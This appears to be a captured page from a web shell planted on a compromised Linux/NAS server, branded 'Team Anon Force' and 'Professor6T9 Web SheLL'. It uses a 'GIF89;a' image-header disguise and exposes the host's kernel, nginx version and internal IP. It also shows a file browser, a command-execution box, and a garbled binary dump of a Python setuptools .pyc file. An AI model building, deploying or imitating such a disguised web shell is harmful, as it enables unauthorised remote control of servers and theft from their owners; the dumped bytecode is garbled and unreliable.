GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
_distutils
/
command
/
__pycache__
[ HOME ]
Exec
Submit
build_scripts.cpython-38.pyc
U �}�h� � @ s� d Z ddlZddlZddlZddlmZ ddlmZ ddlm Z ddl mZ ddlm Z dd lmZ e�d �ZeZG dd� de �ZdS ) zRdistutils.command.build_scripts Implements the Distutils 'build_scripts' command.� N)� sysconfig)�log)�ST_MODE� )�newer)�Command)�convert_pathz^#!.*python[0-9.]*([ ].*)?$c @ sl e Zd ZdZdddgZdgZdd� Zdd � Zd d� Zdd � Z dd� Z dd� Zdd� Zdd� Z edd� �ZdS )� build_scriptsz("build" scripts (copy and fixup #! line))z build-dir=�dzdirectory to "build" (copy) to)�force�fz1forcibly build everything (ignore file timestamps)zexecutable=�ez*specify final destination interpreter pathr c C s d | _ d | _d | _d | _d S �N)� build_dir�scriptsr � executable��self� r �R/tmp/pip-target-k_nuic9h/lib/python/setuptools/_distutils/command/build_scripts.py�initialize_options$ s z build_scripts.initialize_optionsc C s | � dddd� | jj| _d S )N�build)r r )r r )r r )�set_undefined_options�distributionr r r r r �finalize_options* s �zbuild_scripts.finalize_optionsc C s | j S r )r r r r r �get_source_files3 s zbuild_scripts.get_source_filesc C s | j s d S | �� d S r )r �copy_scriptsr r r r �run6 s zbuild_scripts.runc C s@ | � | j� g }g }| jD ]}| �|||� q| �|� ||fS )a2 Copy each script listed in ``self.scripts``. If a script is marked as a Python script (first line matches 'shebang_pattern', i.e. starts with ``#!`` and contains "python"), then adjust in the copy the first line to refer to the current Python interpreter. )�mkpathr r �_copy_script� _change_modes)r �outfiles� updated_files�scriptr r r r ; s zbuild_scripts.copy_scriptsc C s� d }t |�}tj�| jtj�|��}|�|� | jsNt||�sNt � d|� d S zt�|�}W n t k r| | jst� d }Y n,X |�� }|s�| �|� d�� d S t�|�}|�|� |�rxt �d|| j� | j�shtjs�| j}n(tj�t�d�d�t�d�t�d���}|�d��pd } d | | d } | �| |j� t|d|jd ��}|�| � |�|�� � W 5 Q R X |�r�|�� n|�r�|�� | � ||� d S )Nznot copying %s (up-to-date)z is an empty file (skipping)zcopying and adjusting %s -> %s�BINDIRz python{}{}�VERSION�EXE� � z#!� �w)�encoding)!r �os�path�joinr �basename�appendr r r �debug�tokenize�open�OSError�dry_run�readline�warn�shebang_pattern�match�infor �python_buildr �get_config_var�format�group�_validate_shebangr+ �write� writelines� readlines�close� copy_file)r r# r! r"